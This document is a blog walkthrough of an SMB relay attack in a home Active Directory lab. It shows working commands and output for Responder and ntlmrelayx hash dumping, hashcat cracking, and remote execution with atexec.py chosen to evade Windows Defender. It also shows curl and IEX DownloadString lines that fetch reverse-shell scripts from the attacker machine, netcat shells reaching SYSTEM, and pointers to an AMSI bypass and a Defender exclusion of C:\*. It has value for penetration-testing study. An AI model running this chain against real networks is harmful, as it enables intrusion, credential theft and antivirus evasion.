SMB Relay to Reverse Shells: Initial Attack Vector Evading AV

Corey T. (ct-cyber)
17 min readDec 4, 2024

--

Background

While going through TCM’s Practical Ethical Hacking course, more specifically the Active Directory section, I wanted to dig a little deeper in understanding how to evade Window’s Antivirus through the full initial attack vector process. Looking at Heath Adam’s approach, he demonstrated different initial attack vectors, including LLMNR Poisoning, SMB Relay, MITM6, Pass-Back Attacks, and gaining shell access after gaining credentials through some of these attacks. These methods were demonstrated at a beginner level for teaching purposes, and he used these vectors while the Real-Time Virus Detection on the AD [Active Directory] Windows workstations was turned off. Through some research and wanting to understand how this evasion worked, I present a methodology that evades the Windows antivirus [as of late 2022] while using very common attack vectors and procedures.

Methodology and Setup

Methodology Breakdown:

  1. Locating “alive” hosts using nmap.
  2. Using nmap to detect SMB signing disabled misconfiguration.
  3. Responder & setting up the initial attack to exploit SMB signing disabled miconfiguration.
  4. SMB relay attack using Impacket’s tool, ntlmrelayx, to gather NTLM (SAM database) hashes.
  5. Cracking the gathered NTLM hashes.
  6. Using the cracked hash passwords to gain shell access using more Impacket tools: smbexec, wmiexec, psexec & atexec.
  7. Bonus: Gaining fully-interactive shell access.
  8. Bonus x2: Bypassing AMSI to place naughty scripts on the victim’s machine for post-compromise attacking.

Lab Setup:

  • Attacker Machine — Kali Linux (VMWare)
  • Domain Controller & Active Directory Setup with Windows Server 2019 (VMWare)
  • Two Windows 10 Machines Connected to the Domain Controller’s Network [Active Directory’s] (VMWare)
  • If you would like the full setup, feel free to enroll in TCM’s “Practical Ethical Hacking” and view the ‘Active Directory Lab Build’ section!

1. Locating “Alive” Hosts

Mentioned in the “Methodology Breakdown” above, first I wanted to demonstrate how to even detect what hosts are considered “alive” within the Active Directory network. In order to do this, I used nmap for host discovery without a port scan using the following switches: -sn [host discovery w/o port scan] & -v [verbose output]. This may attract some attention, but it is still relatively light. Other methods can be used to be stealthier, but this is used for demonstration purposes. Here is the command used and the results given:

┌──(root💀kali)-[~/Desktop]
└─# nmap -sn -v 192.168.188.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-05 12:59 EDT
Initiating ARP Ping Scan at 12:59
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 12:59, 1.86s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 6 hosts. at 12:59
Completed Parallel DNS resolution of 6 hosts. at 12:59, 6.53s elapsed
Nmap scan report for 192.168.188.0 [host down]
Nmap scan report for 192.168.188.1
Host is up (0.00047s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.188.2
Host is up (0.000083s latency).
MAC Address: 00:50:56:E0:10:A9 (VMware)
Nmap scan report for 192.168.188.3 [host down]
...
Nmap scan report for 192.168.188.120 [host down]
Nmap scan report for 192.168.188.121 [host down]
Nmap scan report for 192.168.188.122 [host down]
Nmap scan report for 192.168.188.123 [host down]
Nmap scan report for 192.168.188.124 [host down]
Nmap scan report for 192.168.188.125 [host down]
Nmap scan report for 192.168.188.126 [host down]
Nmap scan report for 192.168.188.127 [host down]
Nmap scan report for 192.168.188.129 [host down]
Nmap scan report for 192.168.188.130
Host is up (0.00015s latency).
MAC Address: 00:0C:29:7E:FD:E9 (VMware)
Nmap scan report for 192.168.188.131 [host down]
Nmap scan report for 192.168.188.132 [host down]
Nmap scan report for 192.168.188.133 [host down]
Nmap scan report for 192.168.188.134 [host down]
Nmap scan report for 192.168.188.135
Host is up (0.00012s latency).
MAC Address: 00:0C:29:2A:53:66 (VMware)
Nmap scan report for 192.168.188.136
Host is up (0.00015s latency).
MAC Address: 00:0C:29:17:A4:FD (VMware)
Nmap scan report for 192.168.188.137 [host down]
...
Nmap scan report for 192.168.188.254
Host is up (0.000087s latency).
MAC Address: 00:50:56:E5:79:24 (VMware)
Nmap scan report for 192.168.188.255 [host down]
Initiating Parallel DNS resolution of 1 host. at 12:59
Completed Parallel DNS resolution of 1 host. at 12:59, 0.02s elapsed
Nmap scan report for 192.168.188.128
Host is up.
Read data files from: /usr/bin/../share/nmap
Nmap done: 256 IP addresses (7 hosts up) scanned in 8.47 seconds
Raw packets sent: 508 (14.224KB) | Rcvd: 10 (280B)

Looking at the results, there are three alive hosts, other than our own at 192.168.188.128. These hosts are 192.168.188.130, 192.168.188.135 & 192.168.188.136. Let's keep these three noted down somewhere on our attacker machine to use later on.

2. SMB Signing Disabled

After locating alive hosts, an important and sometimes looked over misconfiguration, called SMB Signing Disabled, can be used to advance the attack. When SMB Signing is disabled for a specific host, there is no true authentication happening when SMB packets are being sent back and forth. When this is the case, a man in the middle attack can happen very easily, and information can be gathered, such as SAM Hashes, which will be shown later. Using nmap again, here is the usage and results given to determine which of the three hosts obtained above have SMB Signing disabled:

┌──(root💀kali)-[~/Desktop]
└─# nmap --script=smb2-security-mode.nse -p445 192.168.188.130 192.168.188.135 192.168.188.136
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-05 13:21 EDT
Nmap scan report for 192.168.188.130
Host is up (0.00025s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:7E:FD:E9 (VMware)

Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required

Nmap scan report for 192.168.188.135
Host is up (0.00038s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:2A:53:66 (VMware)

Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required

Nmap scan report for 192.168.188.136
Host is up (0.00033s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:17:A4:FD (VMware)

Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required

Nmap done: 3 IP addresses (3 hosts up) scanned in 6.89 seconds

Out of the three hosts discovered, two have SMB signing enabled but not required. This sets up the next stage of the process where I can either direct my attack at 192.168.188.135 or 192.168.188.136.

3. Configuring & Running Responder

Next, I use Responder as a way to poison LLMNR or NetBIOS communication within the Active Directory environment. In other words, I can use this tool in order to gather responses when a specific host sends out a network request [events i.e. looking for a shared drive, locating a remote host, etc.]. First, I need to configure Responder in order to work specifically with an SMB Relay attack using a specific Impacket tool, which I will cover next:

┌──(root💀kali)-[~/Desktop]
└─# cat /etc/responder/Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On

I turned off SMB & HTTP because I don't want Responder to capture these services, as I will be using the Impacket toolkit to capture them. After configuring Responder, I get it up and running:

┌──(root💀kali)-[~/Desktop]
└─# responder -I eth0 -dwv
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.1.3.0

To support this project:
Patreon -> https://www.patreon.com/PythonResponder
Paypal -> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C


[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [ON]

[+] Servers:
HTTP server [OFF]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [OFF]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]

[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.188.128]
Responder IPv6 [fe80::20c:29ff:fe2b:b5a2]
Challenge set [random]
Dont Respond To Names [ISATAP]

[+] Current Session Variables:
Responder Machine Name [WIN-DQ3YIQX5RYZ]
Responder Domain Name [CN0K.LOCAL]
Responder DCE-RPC Port [48167]

[+] Listening for events...

4. SMB Relay & Gathering Hashes

Next comes the true start to the attack: SMB Relay. Within many Active Directory environments, the authentication is typically handled using NTLM, and more specifically, NTLMv2. With this authentication method comes a major flaw with the right default configurations, allowing an attacker to sit in the middle and gather information as the victim attempts to authenticate with the server somewhere in the AD network. Using the Impacket tool, called ntlmrelayx, I am able to relay the NTLM authentication information to myself, as the attacker in the middle. Let's see this in action, as we point the attack to 192.168.188.136, specifically. Keep in mind, Responder is still running in the background:

┌──(root💀kali)-[~/opt/impacket/examples]
└─# python ntlmrelayx.py -t 192.168.188.136 -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

After starting the ntlmrelayx.py script, all I have to do is wait for an event to occur within the network where the victim attempts to authenticate with the proper server. Here is a screenshot of an event happening where the victim on the Windows 10 machine at 192.168.188.135 attempts to communicate with my attacking machine at 192.168.188.128:

Once the event occurs, ntlmrelayx captures the authentication challenge and the information is displayed on the attacker machine, as such:

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.188.135, attacking target smb://192.168.188.136
[*] Authenticating against smb://192.168.188.136 as HIDDEN/NUZUMAKI SUCCEED
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.188.135 controlled, but there are no more targets left!
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.188.135 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x063dba02f4ebfe04c5710588770899b3
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5fecabf7bf879c9c20f2264eaf2a2e28:::
Gaara Yuzawa:1001:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
[*] Done dumping SAM hashes for host: 192.168.188.136
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

If you notice, the attack is laid out step-by-step. Our attacker machine received the connection from 192.168.188.135. Once this happens, the attack on 192.168.188.136 begins and the attempt to authenticate as the user NUZUMAKI on 192.168.188.136 is successful. NUZUMAKI is the victim user I was signed in on 192.168.188.135. After authenticating, the script dumped the NTLM (SAM database) Hashes for specific users on 192.168.188.136, which is the machine I directed the attack. Since we have the user hashes, I can take those offline and attempt to crack them, which is our next step!

5. Cracking NTLM Hashes

Using a very common hash cracking tool, called hashcat, I was able to obtain the password for the user, named Gaara Yuzawa [yes, off of Naruto 😅]. Here is the attempt at cracking the SAM hashes and the result:

┌──(root💀kali)-[~/opt/impacket/examples]
└─# hashcat -m 1000 ~/Desktop/hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform 1 [The pocl project]
============================================================================================================================================
* Device 1: pthread-AMD Ryzen 5 5600X 6-Core Processor, 2904/5872 MB (1024 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 5 digests; 3 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

31d6cfe0d16ae931b73c59d7e0c089c0:
c39f2beb3d2ec06a62cb887fb391dee0:Password2
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
Hash.Target......: /root/Desktop/hashes.txt
Time.Started.....: Sat Nov 5 14:53:07 2022 (4 secs)
Time.Estimated...: Sat Nov 5 14:53:11 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.1.........: 4304.7 kH/s (0.07ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 2/3 (66.67%) Digests (total), 2/3 (66.67%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.1....: $HEX[212173657879616e67656c2121] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.1..: Util: 26%

Cracking performance lower than expected?

* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
This can cause your screen to lag.

* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Started: Sat Nov 5 14:53:05 2022
Stopped: Sat Nov 5 14:53:13 2022

Looking at the results above, roughly halfway down, the hash of c39f2beb3d2ec06a62cb887fb391dee0 was able to be cracked, and the password I received is Password2! This is the reason why common passwords should NOT be used. This attack could go no further if a more complex password was used for this specific user (bear in mind that other attacks may be used). Matching the hash with the user, Gaara Yuzawa, I can use the username and password in order to continue my attack and gain shell access on 192.168.188.136.

6. Using Impacket [Further] & Gaining Shell Access

This is the step that took some trial and error on my part. There are several different Impacket tools, and Metasploit tools, that can be used in order to pop a reverse shell and gain full access to the machine. After doing some research and trying psexec.py, smbexec.py, wmiexec.py and a few others, all of them resulted in Windows Defender [Antivirus] detecting and mitigating the attack, like the example attack below with psexec.py:

┌──(root💀kali)-[~/opt/impacket/examples]
└─# python psexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.188.136.....
[*] Found writable share ADMIN$
[*] Uploading file nCMBJuPV.exe
[*] Opening SVCManager on 192.168.188.136.....
[*] Creating service iVJZ on 192.168.188.136.....
[*] Starting service iVJZ.....
[*] Opening SVCManager on 192.168.188.136.....
[-] Error performing the uninstallation, cleaning up
The result of using “psexec.py” and Windows Defender taking action against it.

After some playing around and shifting between Impacket tools, I came across the atexec.py script, which seemed to run slightly different from the rest. Atexec.py seems to be using the Task Scheduler in order to temporarily create a task, run the task, then delete the task after use. When this is in play, a command can be relayed and ran on a remote [victim] machine and results displayed on the attacker machine. The neat thing about atexec.py is that Windows Defender does not detect this specific script as a virus, which is the ultimate goal. Here's an example of the Impacket tool, atexec.py, in use:

┌──(root💀kali)-[~/opt/impacket/examples]
└─# python atexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136 "systeminfo"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[!] This will work ONLY on Windows >= Vista
[*] Creating task \VYvWErWU
[*] Running task \VYvWErWU
[*] Deleting task \VYvWErWU
[*] Attempting to read ADMIN$\Temp\VYvWErWU.tmp
[*] Attempting to read ADMIN$\Temp\VYvWErWU.tmp

Host Name: SAND
OS Name: Microsoft Windows 10 Enterprise Evaluation
OS Version: 10.0.19044 N/A Build 19044
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Gaara Yuzawa
Registered Organization:
Product ID: 00329-20000-00001-AA530
Original Install Date: 7/21/2022, 2:14:26 PM
System Boot Time: 11/6/2022, 5:57:21 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 33 Stepping 0 AuthenticAMD ~3693 Mhz
[02]: AMD64 Family 25 Model 33 Stepping 0 AuthenticAMD ~3693 Mhz
BIOS Version: VMware, Inc. VMW71.00V.18452719.B64.2108091906, 8/9/2021
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 4,095 MB
Available Physical Memory: 1,900 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 2,697 MB
Virtual Memory: In Use: 2,102 MB
Page File Location(s): C:\pagefile.sys
Domain: HIDDEN.local
Logon Server: N/A
Hotfix(s): 7 Hotfix(s) Installed.
[01]: KB5018329
[02]: KB5003791
[03]: KB5018482
[04]: KB5014671
[05]: KB5015895
[06]: KB5018506
[07]: KB5005699
Network Card(s): 2 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 192.168.188.136
[02]: fe80::86d3:ce87:1ff:4651
[02]: Bluetooth Device (Personal Area Network)
Connection Name: Bluetooth Network Connection
Status: Media disconnected
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Using atexec.py, I can further this attack in many different directions: disabling Windows Defender, enabling RDP, etc. For demonstration purposes, and especially if I want full control over this machine without making changes to the remote machine, I found a specific Powershell Reverse Shell script that evades Windows Defender. This script can be found here [Credit: Norbert Tihanyi, PhD.]. Now, in order to get this Reverse Shell up and running, I need to get this file onto the victim machine. Using Python’s HTTP Server and using cURL, I can do just that:

┌──(root💀kali)-[~/Desktop]
└─# python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.188.136 - - [06/Nov/2022 10:00:03] "GET /demo.ps1 HTTP/1.1" 200 -
┌──(root💀kali)-[~/opt/impacket/examples]
└─# python atexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136 "curl -o demo.ps1 http://192.168.188.128:8000/demo.ps1"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[!] This will work ONLY on Windows >= Vista
[*] Creating task \HgYebVjW
[*] Running task \HgYebVjW
[*] Deleting task \HgYebVjW
[*] Attempting to read ADMIN$\Temp\HgYebVjW.tmp
[*] Attempting to read ADMIN$\Temp\HgYebVjW.tmp
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 886 100 886 0 0 104k 0 --:--:-- --:--:-- --:--:-- 123k

Now that the script is on the victim machine, I can attempt to get a reverse shell using netcat. Here's the attempt:

┌──(root💀kali)-[~/opt/impacket/examples]
└─# python atexec.py HIDDEN.local/gyuzawa:Password2@192.168.188.136 "powershell -ExecutionPolicy Bypass -File .\demo.ps1 192.168.188.128 4444"
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[!] This will work ONLY on Windows >= Vista
[*] Creating task \nvbhlJOt
[*] Running task \nvbhlJOt
[*] Deleting task \nvbhlJOt
[*] Attempting to read ADMIN$\Temp\nvbhlJOt.tmp
┌──(root💀kali)-[~]
└─# nc -nvlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.188.136.
Ncat: Connection from 192.168.188.136:49821.
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

And just like that, I have a reverse shell and have full control of the Windows 10 victim machine as NT Authority/System. Unfortunately, this reverse shell is not fully interactive, and to run Powershell and receive full interaction, see the Bonus section below!

This is just the beginning, and the idea is to be as evasive as possible within the Initial Attack Vector. There are numerous attack strategies out there, and this will most certainly not be the best option out there, but it works [as of the time of this blog post]. Once this initial foothold is captured, the idea is to continue on and attempt to gain further access within the Active Directory environment via enumeration and further post-compromise attacks.

7. Bonus 🤑 — Fully-Interactive Reverse Shell

One thing I wanted to tack on in this whole “Initial Attack Vector” process is making sure there’s a way to get a fully interactive reverse shell. With the approach above, I could not launch Powershell within my netcat reverse shell. This could make or break the attack approach for a Pentester, considering there are numerous Powershell tools out there to advance an attack within the post-compromise enumeration (and further) phase.

With that being said, let’s look at the option I found to get Powershell up and running via a second netcat reverse shell that is “fully-interactive” (going to call it fully-interactive due to it’s ability to use Powershell). With everything still up and running from the steps above, I use the existing netcat reverse shell to launch the second Powershell-handy reverse shell via a simple Powershell script, obtained here [Credits: Rex Liu]. First, after downloading the script from Rex Liu’s github, I went ahead and followed the technique described on the github page and changed the name of the initial function in the script from powerrcatt to purr, shown here:

function purr
{
param(
[alias("Client")][string]$c="",
[alias("Listen")][switch]$l=$False,
[alias("Port")][Parameter(Position=-1)][string]$p="",
[alias("Execute")][string]$e="",
[alias("ExecutePowershell")][switch]$ep=$False,
[alias("Relay")][string]$r="",
[alias("UDP")][switch]$u=$False,
[alias("dnscat2")][string]$dns="",
[alias("DNSFailureThreshold")][int32]$dnsft=10,
[alias("Timeout")][int32]$t=60,
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
[alias("OutputFile")][string]$of="",
[alias("Disconnect")][switch]$d=$False,
[alias("Repeater")][switch]$rep=$False,
[alias("GeneratePayload")][switch]$g=$False,
[alias("GenerateEncoded")][switch]$ge=$False,
[alias("Help")][switch]$h=$False
)

Last, but not least, since the script is sitting on the attacker machine, I need to start an HTTP Server in order for the next step to work correctly. According to the Powershell command needed for the SECOND, fully-interactive reverse shell to launch, the FIRST netcat reverse shell needs to locate the script on the attacker machine, run the script and point to the SECOND netcat listening session on my attacker machine. That's a lot, but I wanted to make it clear what the next steps were. Alright, so with all that mentioned, here's the steps in action:

┌──(root💀kali)-[~/Desktop]
└─# python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.188.136 - - [06/Nov/2022 10:12:46] "GET /demoCAT.ps1 HTTP/1.1" 200 -
┌──(root💀kali)-[~/opt/impacket/examples]
└─# nc -nvlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.188.136.
Ncat: Connection from 192.168.188.136:49824.
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.188.128:8000/demoCAT.ps1');purr -c 192.168.188.128 -p 1234 -e cmd"
┌──(root💀kali)-[~/Desktop]
└─# nc -nvlp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.188.136.
Ncat: Connection from 192.168.188.136:49826.
Microsoft Windows [Version 10.0.19044.2193]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32>

A little note about the full process displayed above. I am sure some are wondering why I didn’t attempt to get the FIRST netcat shell to just be the “fully-interactive” shell. I attempted and failed to run the Powershell command needed to pop the fully-interactive shell via atexec.py, as I received errors, but if someone gets that working (I'm sure it's very simple and I'm missing something very easy), please reach out on my contact page! In addition to that, an automation process can most likely be put into place with a script, which could help out, as well! I will share any given information on this blog post and give credit to whomever reaches out with different techniques/automation scripts, as it would save the time of popping two shells 😎.

8. More Bonus 😈 — Bypassing AMSI

Phew! You made it this far, but there is one more thing to touch on: AMSI Bypassing. Just a quick recap so far, I went through the process of gaining an initial reverse shell (semi-interactive), then popping a second reverse shell that is fully interactive. We can then use Powershell with the command “powershell -ep bypass” within that second reverse shell, but how do we escape the dreadful AMSI? AMSI, or in other words Antimalware Scan Interface, is a little different than Windows Defender and defeating the Antivirus. You can read more about AMSI here. In short, it’s a way to “intercept” an obfuscated script in real time and detect any signatures within the script. It’s pretty difficult to avoid! Let’s get to the good stuff and bypass AMSI! In this article, there’s a Powershell script that can be run directly into the Powershell CLI that bypasses AMSI for the current session (this is important to point out). After copying, pasting, and clicking enter to run the script, AMSI will be bypassed for the current session!

Let’s quickly talk about a second option that’s possible, but is much louder: Modifying Defender Settings. Like I said, this is loud and will catch more attention, but is very simple! You can modify folders for Windows Defender to exclude from scanning, also known as exception folders. This is possible with the Powershell command “Add-MpPreference -ExclusionPath :directory name:”. You can replace the :directory name: you wish excluded from scanning, such as “C:\*”, which will exclude everything within the “C” directory.

--

--

Corey T. (ct-cyber)
Corey T. (ct-cyber)

Written by Corey T. (ct-cyber)

Just another cybersecurity blog…

No responses yet